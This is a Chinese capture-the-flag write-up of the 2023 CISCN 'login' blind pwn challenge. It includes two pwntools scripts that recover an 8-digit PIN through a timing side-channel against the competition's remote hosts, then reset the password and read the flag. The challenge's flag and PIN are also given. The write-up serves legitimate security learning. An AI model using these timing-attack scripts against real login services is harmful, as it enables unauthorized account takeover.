2023 ciscn国赛pwn lojin wp

第一次参加国赛,被队友带飞了,pwn只做出来了四个,1381分,第16名,总体来说还可以
在所有题目中,也是拿到了pwn题login的一血

2023 ciscn国赛pwn lojin wp_第1张图片
话说回来,来详细说一下,这个pwn题的解法
首先就是能看到这是个没附件的pwn题
2023 ciscn国赛pwn lojin wp_第2张图片
说明只能通过交互去得到信息,再寻找方向,连接之后应该就是这四个选项
根据这个信息,猜测应该是让我们登入进去,然后再获得下一步操作,所以这里想登入,就只能login,但是密码又不知道,3是忘记密码,让我们输入8个字节的PIN code,如果我们输入正确,应该就能改密码,改完密码就能登陆了,脑子一下就有想法了。
2023 ciscn国赛pwn lojin wp_第3张图片

但是不知道pin code是啥,上网搜了之后,了解到应该就是相当于一种令牌吧,而且搜集到了一个重要信息,就是这个pin code是纯数字,8位数字,个,十,百,千,万,十万,百万,千万。那也就是说将近1个亿的可能,这咋爆破呢,
然后就上网搜的时候,看到了测信道攻击,搜集了以下信息(实际就是问ai):
这个问题涉及到一个基于时间的信道攻击,常见于密码学中的侧信道攻击。
在爆破一个PIN值时,可以通过观察时间戳的差异来判断每一位是否正确。这种攻击基于以下原理:
时间差异:当输入的PIN值的某一位与正确PIN值的对应位不同时,可能会导致系统的某些操作或计算需要更多的时间。例如,当输入的PIN值的某一位与正确PIN值的对应位不匹配时,系统可能需要执行更多的比较操作或者条件判断,导致所需的时间更长。
侧信道分析:通过观察时间戳的差异,攻击者可以推断出某一位是否正确。如果时间戳的差异明显大于其他位,那么很可能是因为该位的值不正确,导致了额外的计算时间。攻击者可以利用这种侧信道信息,逐位爆破出正确的PIN值。
需要注意的是,这种攻击方法依赖于时间差异的可观察性。在一些情况下,系统可能会采取措施来减少时间差异,以防止此类侧信道攻击。因此,在实际应用中,为了提高安全性,可以采取一些对策,如增加随机延迟、固定执行时间等,来混淆时间差异,使得侧信道攻击更加困难。

相信大家看完,也是恍然大悟,因为我当时也是恍然大悟,瞬间就有了思路
一位一位的去爆破pin code。(刚开始想的用二分法,但是又不知道咋去实现这个算法,就放弃了)
exp

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def ru(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

pin='0'
a='0'
p= remote("47.94.206.10",33355)

pin_o = pin+a+'0'*(7-len(pin))
sum=0
for _ in range(10):
	ru('>')
	sl(b'3')
	ru(b"PIN code: ")
	start=time.time()  #发送pin code 的时间
	sl(pin_o)
	rev=ru(b'\n')
	if b"Wrong PIN code" in rev:
		pass
	else:
		print(pin_0)
		break
	end=time.time() #报错的时间
	sum+=(end-start)  #时间戳的差值总和
print(pin_o,sum)   #打印发送的pin code和时间戳的值
p.interactive()

这里解释一下为啥要循环send十次同样的数据?
这样每个pin code的时间戳差值就几乎相当于x10,这样在比较不同pin code 的时候,更明显看到他们的差距。
第一是pin=0,第二次pin=1…
爆出来的时间戳差值为
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
明显看到第一位为5的时候,时间戳明显比其他的大,所以第一位应该就是5,
然后去爆破第二位,第三位,第四位、、、、
这个方法比较笨,比赛过后朋友给了我一个一下爆出来的脚本

from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def ru(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def getpin(pin):
	subtime = -1
	res =''
	for c in a:
		pin_o = pin+c+'0'*(7-len(pin))
		sum=0
		for _ in range(10):
			ru('>')
			sl(b'3')
			ru(b"PIN code: ")
			start=time.time()
			sl(pin_o)
			rev=ru(b'\n')
			if b"Wrong PIN code" in rev:
				pass
			else:
				print(pin_0)
				break
			end=time.time()
			sum+=(end-start)
		print(cur,sum)
		avgtime=sum
		if(avgtime>subtime):
			subtime=avgtime
			res=c
	return res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):
	pin+=getpin(pin)
	print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303}   pin code : 54730891
			

爆出来pin code,修改一下密码,然后登入进去,就能获得shell了。

盲pwn靠的应该就是猜出题人想干啥了,不断尝试,和验证,当时做的时候,感觉做的特别慢,害怕拿不到一血,害怕会烂,还好赶上了,交上了一血。
由于大家催的急,所以先写这个了,后续会更新总的2023ciscn国赛wp

文末:

这里再感谢一下我的队友,是他们做出其他题目,才有这个成绩的
还有就是感谢星盟安全团队的师傅们平日的帮助,才能让我有这种扩散的思维,成长的更加迅速。

感谢武汉凌泽网安科技有限公司楚泽实验室近俩月一起学习交流的队友,感谢AGCTF战队这两天努力比赛的队友

你可能感兴趣的:(安全,网络,python)